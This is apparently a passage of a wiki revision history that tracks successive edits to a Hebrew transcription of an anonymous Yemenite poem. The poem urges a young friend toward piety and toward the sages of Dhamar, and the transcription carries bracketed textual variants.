תוכחה שכתב המשורר לידידו הצעיר לעזוב את תענוגי עולם הזה ולהתמסר לרוחניות, על ידי שיבוא לעיר דמאר שבדרום תימן - עיר מלאה חכמים וסופרים, כמבואר בגוף השיר.
השיר מבאר בתחילתו את דרכי עבודת ה', עזיבת הרע והדבקות בה'. בהמשך עובר לתאר את עירו דמאר וחכמיה. 
השיר עמוס כולו במסתורין ורמזים אליגורים, ועל כן משפטים רבים בו אינם ברורים די הצורך בכוונתם, וזו כנראה גם הסיבה שנפלו בו כ&quot;כ הרבה שינויי נוסחאות וגרסאות (יחסית לשירים אחרים)
{{שיר מנוקד|
קום ידידי בשחרים \ ועזוב חבלי תנומה 
נפצה ממך עפרים \ ועבוד את האדמה [נ&quot;א: ועבודת אדמה]
ופתחה שבעה שערים \ רק שמיני הט וסתמה 
ועלה הר העברים \ אל מקום גבעה ורמה
בין בכל סכל [=שכל] וסמל [נ&quot;א: בז לכל צורה וסמל, או: בין בכל צורה וסמל]
ועלה תבור וכרמל
אל מקום שרף וחשמל
הקדושים הטהורים \ עובדי שדי באימה 
יענו בבלי דברים \ שיר בקול דקה דממה

עת מבואך [נ&quot;א: מצואך] לפרוזדור \ אל תמהר לטרקלין 
תעמוד רחוק ותסגוד \ ועצור פיך במלין 
כי ספקלריות ופרגוד \ בין מקום קודש לחולין
סובבים [נ&quot;א: סוככים] הם כנשרים \ שומרי דלת וחומה
רק שמור נפשך ורגלך
אל תהלך על שמאלך
צוררים הם [נ&quot;א: צוררים כי] אורבים לך
}}</text>
      <sha1>eck02tpaubbfr7xtp7u0i5s8pyj9fl2</sha1>
    </revision>
    <revision>
      <id>3020742</id>
      <parentid>3020739</parentid>
      <timestamp>2026-06-19T09:01:09Z</timestamp>
      <contributor>
        <username>אלשרעבי</username>
        <id>45783</id>
      </contributor>
      <origin>3020742</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1820" sha1="c3l36q7atjd0gjklz1se5x89sfybget" xml:space="preserve">{{בעריכה}}
*מחבר: לא ידוע
תוכחה שכתב המשורר לידידו הצעיר לעזוב את תענוגי עולם הזה ולהתמסר לרוחניות, על ידי שיבוא לעיר דמאר שבדרום תימן - עיר מלאה חכמים וסופרים, כמבואר בגוף השיר.
השיר מבאר בתחילתו את דרכי עבודת ה', עזיבת הרע והדבקות בה'. בהמשך עובר לתאר את עירו דמאר וחכמיה. 
השיר עמוס כולו במסתורין ורמזים אליגורים, ועל כן משפטים רבים בו אינם ברורים די הצורך בכוונתם, וזו כנראה גם הסיבה שנפלו בו כ&quot;כ הרבה שינויי נוסחאות וגרסאות (יחסית לשירים אחרים)

קום ידידי בשחרים \ ועזוב חבלי תנומה 
נפצה ממך עפרים \ ועבוד את האדמה [נ&quot;א: ועבודת אדמה]
ופתחה שבעה שערים \ רק שמיני הט וסתמה 
ועלה הר העברים \ אל מקום גבעה ורמה
בין בכל סכל [=שכל] וסמל [נ&quot;א: בז לכל צורה וסמל, או: בין בכל צורה וסמל]
ועלה תבור וכרמל
אל מקום שרף וחשמל
הקדושים הטהורים \ עובדי שדי באימה 
יענו בבלי דברים \ שיר בקול דקה דממה

עת מבואך [נ&quot;א: מצואך] לפרוזדור \ אל תמהר לטרקלין 
תעמוד רחוק ותסגוד \ ועצור פיך במלין 
כי ספקלריות ופרגוד \ בין מקום קודש לחולין
סובבים [נ&quot;א: סוככים] הם כנשרים \ שומרי דלת וחומה
רק שמור נפשך ורגלך
אל תהלך על שמאלך
צוררים הם [נ&quot;א: צוררים כי] אורבים לך</text>
      <sha1>c3l36q7atjd0gjklz1se5x89sfybget</sha1>
    </revision>
    <revision>
      <id>3020743</id>
      <parentid>3020742</parentid>
      <timestamp>2026-06-19T09:01:25Z</timestamp>
      <contributor>
        <username>אלשרעבי</username>
        <id>45783</id>
      </contributor>
      <origin>3020743</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1843" sha1="eck02tpaubbfr7xtp7u0i5s8pyj9fl2" xml:space="preserve">{{בעריכה}}
*מחבר: לא ידוע
תוכחה שכתב המשורר לידידו הצעיר לעזוב את תענוגי עולם הזה ולהתמסר לרוחניות, על ידי שיבוא לעיר דמאר שבדרום תימן - עיר מלאה חכמים וסופרים, כמבואר בגוף השיר.
השיר מבאר בתחילתו את דרכי עבודת ה', עזיבת הרע והדבקות בה'. בהמשך עובר לתאר את עירו דמאר וחכמיה. 
השיר עמוס כולו במסתורין ורמזים אליגורים, ועל כן משפטים רבים בו אינם ברורים די הצורך בכוונתם, וזו כנראה גם הסיבה שנפלו בו כ&quot;כ הרבה שינויי נוסחאות וגרסאות (יחסית לשירים אחרים)
{{שיר מנוקד|
קום ידידי בשחרים \ ועזוב חבלי תנומה 
נפצה ממך עפרים \ ועבוד את האדמה [נ&quot;א: ועבודת אדמה]
ופתחה שבעה שערים \ רק שמיני הט וסתמה 
ועלה הר העברים \ אל מקום גבעה ורמה
בין בכל סכל [=שכל] וסמל [נ&quot;א: בז לכל צורה וסמל, או: בין בכל צורה וסמל]
ועלה תבור וכרמל
אל מקום שרף וחשמל
הקדושים הטהורים \ עובדי שדי באימה 
יענו בבלי דברים \ שיר בקול דקה דממה

עת מבואך [נ&quot;א: מצואך] לפרוזדור \ אל תמהר לטרקלין 
תעמוד רחוק ותסגוד \ ועצור פיך במלין 
כי ספקלריות ופרגוד \ בין מקום קודש לחולין
סובבים [נ&quot;א: סוככים] הם כנשרים \ שומרי דלת וחומה
רק שמור נפשך ורגלך
אל תהלך על שמאלך
צוררים הם [נ&quot;א: צוררים כי] אורבים לך
}}</text>
      <sha1>eck02tpaubbfr7xtp7u0i5s8pyj9fl2</sha1>
    </revision>
    <revision>
      <id>3020744</id>
      <parentid>3020743</parentid>
      <timestamp>2026-06-19T09:02:38Z</timestamp>
      <contributor>
        <username>אלשרעבי</username>
        <id>45783</id>
      </contributor>
      <origin>3020744</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1866" sha1="bfaw6b0jpf26u7zntfrrejupp83vfsl" xml:space="preserve">{{בעריכה}}
*מחבר: לא ידוע
*תוכן: תוכחה שכתב המשורר לידידו הצעיר לעזוב את תענוגי עולם הזה ולהתמסר לרוחניות, על ידי שיבוא לעיר דמאר שבדרום תימן - עיר מלאה חכמים וסופרים, כמבואר בגוף השיר.
השיר מבאר בתחילתו את דרכי עבודת ה', עזיבת הרע והדבקות בה'. בהמשך עובר לתאר את עירו דמאר וחכמיה. 
השיר עמוס כולו במסתורין ורמזים אליגורים, ועל כן משפטים רבים בו אינם ברורים די הצורך בכוונתם, וזו כנראה גם הסיבה שנפלו בו כ&quot;כ הרבה שינויי נוסחאות וגרסאות (יחסית לשירים אחרים)
{{טקסט מנוקד}}
קום ידידי בשחרים \ ועזוב חבלי תנומה 
נפצה ממך עפרים \ ועבוד את האדמה [נ&quot;א: ועבודת אדמה]
ופתחה שבעה שערים \ רק שמיני הט וסתמה 
ועלה הר העברים \ אל מקום גבעה ורמה
בין בכל סכל [=שכל] וסמל [נ&quot;א: בז לכל צורה וסמל, או: בין בכל צורה וסמל]
ועלה תבור וכרמל
אל מקום שרף וחשמל
הקדושים הטהורים \ עובדי שדי באימה 
יענו בבלי דברים \ שיר בקול דקה דממה

עת מבואך [נ&quot;א: מצואך] לפרוזדור \ אל תמהר לטרקלין 
תעמוד רחוק ותסגוד \ ועצור פיך במלין 
כי ספקלריות ופרגוד \ בין מקום קודש לחולין
סובבים [נ&quot;א: סוככים] הם כנשרים \ שומרי דלת וחומה
רק שמור נפשך ורגלך
אל תהלך על שמאלך
צוררים הם [נ&quot;א: צוררים כי] אורבים לך

{{סוף}}</text>
      <sha1>bfaw6b0jpf26u7zntfrrejupp83vfsl</sha1>
    </revision>
    <revision>
      <id>3020746</id>
      <parentid>3020744</parentid>
      <timestamp>2026-06-19T09:33:00Z</timestamp>
      <contributor>
        <username>Nahum</username>
        <id>68</id>
      </contributor>
      <origin>3020746</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1876" sha1="qu4xuq7s8o9qy5z4i50n5etioqq9nau" xml:space="preserve">{{בעריכה}}
*מחבר: לא ידוע
*תוכן: תוכחה שכתב המשורר לידידו הצעיר לעזוב את תענוגי עולם הזה ולהתמסר לרוחניות, על ידי שיבוא לעיר דמאר שבדרום תימן - עיר מלאה חכמים וסופרים, כמבואר בגוף השיר.
השיר מבאר בתחילתו את דרכי עבודת ה', עזיבת הרע והדבקות בה'. בהמשך עובר לתאר את עירו דמאר וחכמיה. 
השיר עמוס כולו במסתורין ורמזים אליגורים, ועל כן משפטים רבים בו אינם ברורים די הצורך בכוונתם, וזו כנראה גם הסיבה שנפלו בו כ&quot;כ הרבה שינויי נוסחאות וגרסאות (יחסית לשירים אחרים)
{{טקסט מנוקד}}
{{רן|
קום ידידי בשחרים \ ועזוב חבלי תנומה 
נפצה ממך עפרים \ ועבוד את האדמה [נ&quot;א: ועבודת אדמה]
ופתחה שבעה שערים \ רק שמיני הט וסתמה 
ועלה הר העברים \ אל מקום גבעה ורמה
בין בכל סכל [=שכל] וסמל [נ&quot;א: בז לכל צורה וסמל, או: בין בכל צורה וסמל]
ועלה תבור וכרמל
אל מקום שרף וחשמל
הקדושים הטהורים \ עובדי שדי באימה 
יענו בבלי דברים \ שיר בקול דקה דממה

עת מבואך [נ&quot;א: מצואך] לפרוזדור \ אל תמהר לטרקלין 
תעמוד רחוק ותסגוד \ ועצור פיך במלין 
כי ספקלריות ופרגוד \ בין מקום קודש לחולין
סובבים [נ&quot;א: סוככים] הם כנשרים \ שומרי דלת וחומה
רק שמור נפשך ורגלך
אל תהלך על שמאלך
צוררים הם [נ&quot;א: צוררים כי] אורבים לך
}}
{{סוף}}</text>
      <sha1>qu4xuq7s8o9qy5z4i50n5etioqq9nau</sha1>
    </revision>
    <revision>
      <id>3020747</id>
      <parentid>3020746</parentid>
      <timestamp>2026-06-19T09:33:28Z</timestamp>
      <contributor>
        <username>Nahum</username>
        <id>68</id>
      </contributor>
      <minor />
      <origin>3020747</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1878" sha1="qi8y4uoiqpqxfi468i1s4ih1i65w5e8" xml:space="preserve">{{בעריכה}}
*מחבר: לא ידוע
*תוכן: תוכחה שכתב המשורר לידידו הצעיר לעזוב את תענוגי עולם הזה ולהתמסר לרוחניות, על ידי שיבוא לעיר דמאר שבדרום תימן - עיר מלאה חכמים וסופרים, כמבואר בגוף השיר.
השיר מבאר בתחילתו את דרכי עבודת ה', עזיבת הרע והדבקות בה'. בהמשך עובר לתאר את עירו דמאר וחכמיה. 
השיר עמוס כולו במסתורין ורמזים אליגורים, ועל כן משפטים רבים בו אינם ברורים די הצורך בכוונתם, וזו כנראה גם הסיבה שנפלו בו כ&quot;כ הרבה שינויי נוסחאות וגרסאות (יחסית לשירים אחרים)
{{טקסט מנוקד}}
{{רן|1=
קום ידידי בשחרים \ ועזוב חבלי תנומה 
נפצה ממך עפרים \ ועבוד את האדמה [נ&quot;א: ועבודת אדמה]
ופתחה שבעה שערים \ רק שמיני הט וסתמה 
ועלה הר העברים \ אל מקום גבעה ורמה
בין בכל סכל [=שכל] וסמל [נ&quot;א: בז לכל צורה וסמל, או: בין בכל צורה וסמל]
ועלה תבור וכרמל
אל מקום שרף וחשמל
הקדושים הטהורים \ עובדי שדי באימה 
יענו בבלי דברים \ שיר בקול דקה דממה

עת מבואך [נ&quot;א: מצואך] לפרוזדור \ אל תמהר לטרקלין 
תעמוד רחוק ותסגוד \ ועצור פיך במלין 
כי ספקלריות ופרגוד \ בין מקום קודש לחולין
סובבים [נ&quot;א: סוככים] הם כנשרים \ שומרי דלת וחומה
רק שמור נפשך ורגלך
אל תהלך על שמאלך
צוררים הם [נ&quot;א: צוררים כי] אורבים לך
}}
{{סוף}}</text>
      <sha1>qi8y4uoiqpqxfi468i1s4ih1i65w5e8</sha1>
    </revision>
    <revision>
      <id>3020752</id>
      <parentid>3020747</parentid>
      <timestamp>2026-06-19T09:45:18Z</timestamp>
      <contributor>
        <username>אלשרעבי</username>
        <id>45783</id>
      </contributor>
      <origin>3020752</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1857" sha1="6lbdiqh92mf54awp1gvc8w7ekwr7d6v" xml:space="preserve">{{בעריכה}}
*מחבר: לא ידוע
*תוכן: תוכחה שכתב המשורר לידידו הצעיר לעזוב את תענוגי עולם הזה ולהתמסר לרוחניות, על ידי שיבוא לעיר דמאר שבדרום תימן - עיר מלאה חכמים וסופרים, כמבואר בגוף השיר.
השיר מבאר בתחילתו את דרכי עבודת ה', עזיבת הרע והדבקות בה'. בהמשך עובר לתאר את עירו דמאר וחכמיה. 
השיר עמוס כולו במסתורין ורמזים אליגורים, ועל כן משפטים רבים בו אינם ברורים די הצורך בכוונתם, וזו כנראה גם הסיבה שנפלו בו כ&quot;כ הרבה שינויי נוסחאות וגרסאות (יחסית לשירים אחרים)

{{שיר מנוקד|1=
קום ידידי בשחרים \ ועזוב חבלי תנומה 
נפצה ממך עפרים \ ועבוד את האדמה [נ&quot;א: ועבודת אדמה]
ופתחה שבעה שערים \ רק שמיני הט וסתמה 
ועלה הר העברים \ אל מקום גבעה ורמה
בין בכל סכל [=שכל] וסמל [נ&quot;א: בז לכל צורה וסמל, או: בין בכל צורה וסמל]
ועלה תבור וכרמל
אל מקום שרף וחשמל
הקדושים הטהורים \ עובדי שדי באימה 
יענו בבלי דברים \ שיר בקול דקה דממה

עת מבואך [נ&quot;א: מצואך] לפרוזדור \ אל תמהר לטרקלין 
תעמוד רחוק ותסגוד \ ועצור פיך במלין 
כי ספקלריות ופרגוד \ בין מקום קודש לחולין
סובבים [נ&quot;א: סוככים] הם כנשרים \ שומרי דלת וחומה
רק שמור נפשך ורגלך
אל תהלך על שמאלך
צוררים הם [נ&quot;א: צוררים כי] אורבים לך
}}</text>
      <sha1>6lbdiqh92mf54awp1gvc8w7ekwr7d6v</sha1>
    </revision>
    <revision>
      <id>3020754</id>
      <parentid>3020752</parentid>
      <timestamp>2026-06-19T09:48:26Z</timestamp>
      <contributor>
        <username>אלשרעבי</username>
        <id>45783</id>
      </contributor>
      <origin>3020754</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2794" sha1="npsmfcth02srn4x3tg25n1no287bwks" xml:space="preserve">{{בעריכה}}
*מחבר: לא ידוע
*תוכן: תוכחה שכתב המשורר לידידו הצעיר לעזוב את תענוגי עולם הזה ולהתמסר לרוחניות, על ידי שיבוא לעיר דמאר שבדרום תימן - עיר מלאה חכמים וסופרים, כמבואר בגוף השיר.
השיר מבאר בתחילתו את דרכי עבודת ה', עזיבת הרע והדבקות בה'. בהמשך עובר לתאר את עירו דמאר וחכמיה. 
השיר עמוס כולו במסתורין ורמזים אליגורים, ועל כן משפטים רבים בו אינם ברורים די הצורך בכוונתם, וזו כנראה גם הסיבה שנפלו בו כ&quot;כ הרבה שינויי נוסחאות וגרסאות (יחסית לשירים אחרים)

{{שיר מנוקד|1=
קום ידידי בשחרים \ ועזוב חבלי תנומה 
נפצה ממך עפרים \ ועבוד את האדמה [נ&quot;א: ועבודת אדמה]
ופתחה שבעה שערים \ רק שמיני הט וסתמה 
ועלה הר העברים \ אל מקום גבעה ורמה
בין בכל סכל [=שכל] וסמל [נ&quot;א: בז לכל צורה וסמל, או: בין בכל צורה וסמל]
ועלה תבור וכרמל
אל מקום שרף וחשמל
הקדושים הטהורים \ עובדי שדי באימה 
יענו בבלי דברים \ שיר בקול דקה דממה

עת מבואך [נ&quot;א: מצואך] לפרוזדור \ אל תמהר לטרקלין 
תעמוד רחוק ותסגוד \ ועצור פיך במלין 
כי ספקלריות ופרגוד \ בין מקום קודש לחולין
סובבים [נ&quot;א: סוככים] הם כנשרים \ שומרי דלת וחומה
רק שמור נפשך ורגלך
אל תהלך על שמאלך
צוררים הם [נ&quot;א: צוררים כי] אורבים לך
יתזוך כדבורים \ ידבקו אותך בערמה
מלהזיק שם [נ&quot;א: שד] סתרים \ על פניהם שור [נ&quot;א: שיר] ופרמה 

פז מנפילים תולדותם מבני
ילדי ענקים ידבקו פתי ואיש תם
בדברים החלוקים יערוכו שולחנותם
מטעמותיהם מתוקים רק באחריתם
מרורים בס כטיפת כל נשמה תו

לך בדרך הישרה
עם בני רחל ושרה
מה לך ובני קטורה
השחורים הכעורים עם בני כפיש
וקדמה מתנותיהם שקרים כחלן כזב
ומרמה פז קום עלה בית אל ושב שם
ועשה מזבח לעולה וישחטה חטאת
ואשם על א חטאתך הגדולה מזבחות
בלע וחומס עם בני עדה וכלה תהרוס
אותם ותחריס לא תחייה כל נשמה תושיע
ועזוב קין והבל
ואחות לוטן ותובל
}}</text>
      <sha1>npsmfcth02srn4x3tg25n1no287bwks</sha1>
    </revision>
    <revision>
      <id>3020756</id>
      <parentid>3020754</parentid>
      <timestamp>2026-06-19T09:54:58Z</timestamp>
      <contributor>
        <username>Nahum</username>
        <id>68</id>
      </contributor>
      <minor />
      <origin>3020756</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2796" sha1="ewxicocafenww5qi8kpen7b3d6k6wz8" xml:space="preserve">{{בעריכה}}
*מחבר: לא ידוע
*תוכן: תוכחה שכתב המשורר לידידו הצעיר לעזוב את תענוגי עולם הזה ולהתמסר לרוחניות, על ידי שיבוא לעיר דמאר שבדרום תימן - עיר מלאה חכמים וסופרים, כמבואר בגוף השיר.
השיר מבאר בתחילתו את דרכי עבודת ה', עזיבת הרע והדבקות בה'. בהמשך עובר לתאר את עירו דמאר וחכמיה. 
השיר עמוס כולו במסתורין ורמזים אליגוריים, ועל כן משפטים רבים בו אינם ברורים די הצורך בכוונתם, וזו כנראה גם הסיבה שנפלו בו כ&quot;כ הרבה שינויי נוסחאות וגרסאות (יחסית לשירים אחרים)

{{שיר מנוקד|1=
קום ידידי בשחרים \ ועזוב חבלי תנומה 
נפצה ממך עפרים \ ועבוד את האדמה [נ&quot;א: ועבודת אדמה]
ופתחה שבעה שערים \ רק שמיני הט וסתמה 
ועלה הר העברים \ אל מקום גבעה ורמה
בין בכל סכל [=שכל] וסמל [נ&quot;א: בז לכל צורה וסמל, או: בין בכל צורה וסמל]
ועלה תבור וכרמל
אל מקום שרף וחשמל
הקדושים הטהורים \ עובדי שדי באימה 
יענו בבלי דברים \ שיר בקול דקה דממה

עת מבואך [נ&quot;א: מצואך] לפרוזדור \ אל תמהר לטרקלין 
תעמוד רחוק ותסגוד \ ועצור פיך במלין 
כי ספקלריות ופרגוד \ בין מקום קודש לחולין
סובבים [נ&quot;א: סוככים] הם כנשרים \ שומרי דלת וחומה
רק שמור נפשך ורגלך
אל תהלך על שמאלך
צוררים הם [נ&quot;א: צוררים כי] אורבים לך
יתזוך כדבורים \ ידבקו אותך בערמה
מלהזיק שם [נ&quot;א: שד] סתרים \ על פניהם שור [נ&quot;א: שיר] ופרמה 

פז מנפילים תולדותם מבני
ילדי ענקים ידבקו פתי ואיש תם
בדברים החלוקים יערוכו שולחנותם
מטעמותיהם מתוקים רק באחריתם
מרורים בס כטיפת כל נשמה תו

לך בדרך הישרה
עם בני רחל ושרה
מה לך ובני קטורה
השחורים הכעורים עם בני כפיש
וקדמה מתנותיהם שקרים כחלן כזב
ומרמה פז קום עלה בית אל ושב שם
ועשה מזבח לעולה וישחטה חטאת
ואשם על א חטאתך הגדולה מזבחות
בלע וחומס עם בני עדה וכלה תהרוס
אותם ותחריס לא תחייה כל נשמה תושיע
ועזוב קין והבל
ואחות לוטן ותובל
}}</text>
      <sha1>ewxicocafenww5qi8kpen7b3d6k6wz8</sha1>
    </revision>
    <revision>
      <id>3020757</id>
      <parentid>3020756</parentid>
      <timestamp>2026-06-19T09:57:22Z</timestamp>
      <contributor>
        <username>אלשרעבי</username>
        <id>45783</id>
      </contributor>
      <origin>3020757</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3105" sha1="rf3bd0v8e58hqpbyolsr0qzc1ez4uo2" xml:space="preserve">{{בעריכה}}
*מחבר: לא ידוע
*תוכן: תוכחה שכתב המשורר לידידו הצעיר לעזוב את תענוגי עולם הזה ולהתמסר לרוחניות, על ידי שיבוא לעיר דמאר שבדרום תימן - עיר מלאה חכמים וסופרים, כמבואר בגוף השיר.
השיר מבאר בתחילתו את דרכי עבודת ה', עזיבת הרע והדבקות בה'. בהמשך עובר לתאר את עירו דמאר וחכמיה. 
השיר עמוס כולו במסתורין ורמזים אליגוריים, ועל כן משפטים רבים בו אינם ברורים די הצורך בכוונתם, וזו כנראה גם הסיבה שנפלו בו כ&quot;כ הרבה שינויי נוסחאות וגרסאות (יחסית לשירים אחרים)

{{שיר מנוקד|1=
קום ידידי בשחרים \ ועזוב חבלי תנומה 
נפצה ממך עפרים \ ועבוד את האדמה [נ&quot;א: ועבודת אדמה]
ופתחה שבעה שערים \ רק שמיני הט וסתמה 
ועלה הר העברים \ אל מקום גבעה ורמה
בין בכל סכל [=שכל] וסמל [נ&quot;א: בז לכל צורה וסמל, או: בין בכל צורה וסמל]
ועלה תבור וכרמל
אל מקום שרף וחשמל
הקדושים הטהורים \ עובדי שדי באימה 
יענו בבלי דברים \ שיר בקול דקה דממה

עת מבואך [נ&quot;א: מצואך] לפרוזדור \ אל תמהר לטרקלין 
תעמוד רחוק ותסגוד \ ועצור פיך במלין 
כי ספקלריות ופרגוד \ בין מקום קודש לחולין
סובבים [נ&quot;א: סוככים] הם כנשרים \ שומרי דלת וחומה
רק שמור נפשך ורגלך
אל תהלך על שמאלך
צוררים הם [נ&quot;א: צוררים כי] אורבים לך
יתזוך כדבורים \ ידבקו אותך בערמה
מלהזיק שם [נ&quot;א: שד] סתרים \ על פניהם שור [נ&quot;א: שיר] ופרמה 

מנפילים תולדותם \ מבני ילדי ענקים 
ידבקו פתי ואיש תם \ בדברים החלוקים [נ&quot;א: החלקים]
יערוכו שולחנותם \ מטעמותיהם מתוקים 
רק באחריתם מרורים [נ&quot;א: רק מרורים באחריתם] בם נטילת נשמה [נ&quot;א: כל נשמה]
לך בדרך הישרה
עם בני רחל ושרה
מה לך ובני [נ&quot;א: בבני] קטורה
השחורים הכעורים \ עם בני נפיש וקדמה 
מתנותיהם שקרים \ נחלו כזב ומרמה 

קום עלה בית אל ושב שם \ ועשה מזבח לעולה 
ושחטה חטאת ואשם \ על חטאתך הגדולה מ
מזבחות בלע וחושם \ עם בני עדה וצלה 
תהרוס [נ&quot;א: תהרסה] אותם ותחרים \ לא תחייה כל נשמה
ועזוב קין והבל
ואחות לוטן ותובל [נ&quot;א: ושובל]
תופשי כינור ונבל
עת ינענעו יתרים \ או יתבלו [נ&quot;א: יתובלו] נעימה
אזנך יהיו סגורים \ משמע מהם מאומה


}}</text>
      <sha1>rf3bd0v8e58hqpbyolsr0qzc1ez4uo2</sha1>
    </revision>
    <revision>
      <id>3020758</id>
      <parentid>3020757</parentid>
      <timestamp>2026-06-19T09:58:50Z</timestamp>
      <contributor>
        <username>אלשרעבי</username>
        <id>45783</id>
      </contributor>
      <origin>3020758</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3160" sha1="caf1dazd69dmeuyaecqf5dah59gvd3w" xml:space="preserve">{{בעריכה}}
*מחבר: לא ידוע
*תוכן: שיר קדום המכיל דברי תוכחה ומוסר שכתב המשורר לידידו הצעיר, לעזוב את תענוגי עולם הזה ולהתמסר לרוחניות, וזה על ידי שיבוא לעיר דמאר שבדרום תימן - עיר מלאה חכמים וסופרים, כמבואר בגוף השיר.
השיר מבאר בתחילתו את דרכי עבודת ה', עזיבת הרע והדבקות בה'. בהמשך עובר לתאר את עירו דמאר וחכמיה. 
השיר עמוס כולו במסתורין ורמזים אליגוריים, ועל כן משפטים רבים בו אינם ברורים די הצורך בכוונתם, וזו כנראה גם הסיבה שנפלו בו כ&quot;כ הרבה שינויי נוסחאות וגרסאות (יחסית לשירים אחרים)

{{שיר מנוקד|1=
קום ידידי בשחרים \ ועזוב חבלי תנומה 
נפצה ממך עפרים \ ועבוד את האדמה [נ&quot;א: ועבודת אדמה]
ופתחה שבעה שערים \ רק שמיני הט וסתמה 
ועלה הר העברים \ אל מקום גבעה ורמה
בין בכל סכל [=שכל] וסמל [נ&quot;א: בז לכל צורה וסמל, או: בין בכל צורה וסמל]
ועלה תבור וכרמל
אל מקום שרף וחשמל
הקדושים הטהורים \ עובדי שדי באימה 
יענו בבלי דברים \ שיר בקול דקה דממה

עת מבואך [נ&quot;א: מצואך] לפרוזדור \ אל תמהר לטרקלין 
תעמוד רחוק ותסגוד \ ועצור פיך במלין 
כי ספקלריות ופרגוד \ בין מקום קודש לחולין
סובבים [נ&quot;א: סוככים] הם כנשרים \ שומרי דלת וחומה
רק שמור נפשך ורגלך
אל תהלך על שמאלך
צוררים הם [נ&quot;א: צוררים כי] אורבים לך
יתזוך כדבורים \ ידבקו אותך בערמה
מלהזיק שם [נ&quot;א: שד] סתרים \ על פניהם שור [נ&quot;א: שיר] ופרמה 

מנפילים תולדותם \ מבני ילדי ענקים 
ידבקו פתי ואיש תם \ בדברים החלוקים [נ&quot;א: החלקים]
יערוכו שולחנותם \ מטעמותיהם מתוקים 
רק באחריתם מרורים [נ&quot;א: רק מרורים באחריתם] בם נטילת נשמה [נ&quot;א: כל נשמה]
לך בדרך הישרה
עם בני רחל ושרה
מה לך ובני [נ&quot;א: בבני] קטורה
השחורים הכעורים \ עם בני נפיש וקדמה 
מתנותיהם שקרים \ נחלו כזב ומרמה 

קום עלה בית אל ושב שם \ ועשה מזבח לעולה 
ושחטה חטאת ואשם \ על חטאתך הגדולה מ
מזבחות בלע וחושם \ עם בני עדה וצלה 
תהרוס [נ&quot;א: תהרסה] אותם ותחרים \ לא תחייה כל נשמה
ועזוב קין והבל
ואחות לוטן ותובל [נ&quot;א: ושובל]
תופשי כינור ונבל
עת ינענעו יתרים \ או יתבלו [נ&quot;א: יתובלו] נעימה
אזנך יהיו סגורים \ משמע מהם מאומה


}}</text>
      <sha1>caf1dazd69dmeuyaecqf5dah59gvd3w</sha1>
    </revision>
    <revision>
      <id>3020766</id>
      <parentid>3020758</parentid>
      <timestamp>2026-06-19T11:20:10Z</timestamp>
      <contributor>
        <username>אלשרעבי</username>
        <id>45783</id>
      </contributor>
      <origin>3020766</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3775" sha1="ca5838t89cjftwmlvtay7rrk7w2ncm3" xml:space="preserve">{{בעריכה}}
*מחבר: לא ידוע
*תוכן: שיר קדום המכיל דברי תוכחה ומוסר שכתב המשורר לידידו הצעיר, לעזוב את תענוגי עולם הזה ולהתמסר לרוחניות, וזה על ידי שיבוא לעיר דמאר שבדרום תימן - עיר מלאה חכמים וסופרים, כמבואר בגוף השיר.
השיר מבאר בתחילתו את דרכי עבודת ה', עזיבת הרע והדבקות בה'. בהמשך עובר לתאר את עירו דמאר וחכמיה. 
השיר עמוס כולו במסתורין ורמזים אליגוריים, ועל כן משפטים רבים בו אינם ברורים די הצורך בכוונתם, וזו כנראה גם הסיבה שנפלו בו כ&quot;כ הרבה שינויי נוסחאות וגרסאות (יחסית לשירים אחרים)

{{שיר מנוקד|1=
קום ידידי בשחרים \ ועזוב חבלי תנומה 
נפצה ממך עפרים \ ועבוד את האדמה [נ&quot;א: ועבודת אדמה]
ופתחה שבעה שערים \ רק שמיני הט וסתמה 
ועלה הר העברים \ אל מקום גבעה ורמה
בין בכל סכל [=שכל] וסמל [נ&quot;א: בז לכל צורה וסמל, או: בין בכל צורה וסמל]
ועלה תבור וכרמל
אל מקום שרף וחשמל
הקדושים הטהורים \ עובדי שדי באימה 
יענו בבלי דברים \ שיר בקול דקה דממה

עת מבואך [נ&quot;א: מצואך] לפרוזדור \ אל תמהר לטרקלין 
תעמוד רחוק ותסגוד \ ועצור פיך במלין 
כי ספקלריות ופרגוד \ בין מקום קודש לחולין
סובבים [נ&quot;א: סוככים] הם כנשרים \ שומרי דלת וחומה
רק שמור נפשך ורגלך
אל תהלך על שמאלך
צוררים הם [נ&quot;א: צוררים כי] אורבים לך
יתזוך כדבורים \ ידבקו אותך בערמה
מלהזיק שם [נ&quot;א: שד] סתרים \ על פניהם שור [נ&quot;א: שיר] ופרמה 

מנפילים תולדותם \ מבני ילדי ענקים 
ידבקו פתי ואיש תם \ בדברים החלוקים [נ&quot;א: החלקים]
יערוכו שולחנותם \ מטעמותיהם מתוקים 
רק באחריתם מרורים [נ&quot;א: רק מרורים באחריתם] בם נטילת נשמה [נ&quot;א: כל נשמה]
לך בדרך הישרה
עם בני רחל ושרה
מה לך ובני [נ&quot;א: בבני] קטורה
השחורים הכעורים \ עם בני נפיש וקדמה 
מתנותיהם שקרים \ נחלו כזב ומרמה 

קום עלה בית אל ושב שם \ ועשה מזבח לעולה 
ושחטה חטאת ואשם \ על חטאתך הגדולה מ
מזבחות בלע וחושם \ עם בני עדה וצלה 
תהרוס [נ&quot;א: תהרסה] אותם ותחרים \ לא תחייה כל נשמה
ועזוב קין והבל
ואחות לוטן ותובל [נ&quot;א: ושובל]
תופשי כינור ונבל
עת ינענעו יתרים \ או יתבלו [נ&quot;א: יתובלו] נעימה
אזנך יהיו סגורים \ משמע מהם מאומה


מנגינתם [המ&quot;ם בחיריק] ושירם \ אזניך השע [נ&quot;א: הושע] והכבד
ועזוב יפיים ותארם \ משכבו [נ&quot;א: משכבי] ערש ומרבוד [מירבוד]
קום והמלט הדורם [=דמאר] \ אל מדינת עוז וכבוד 
החסידים הברורים \ בעלי דעה וחכמה
רודפי מצות וחוקים
עוסקים בהם דבקים
[נ&quot;א: הם] כאיילים על אפיקים
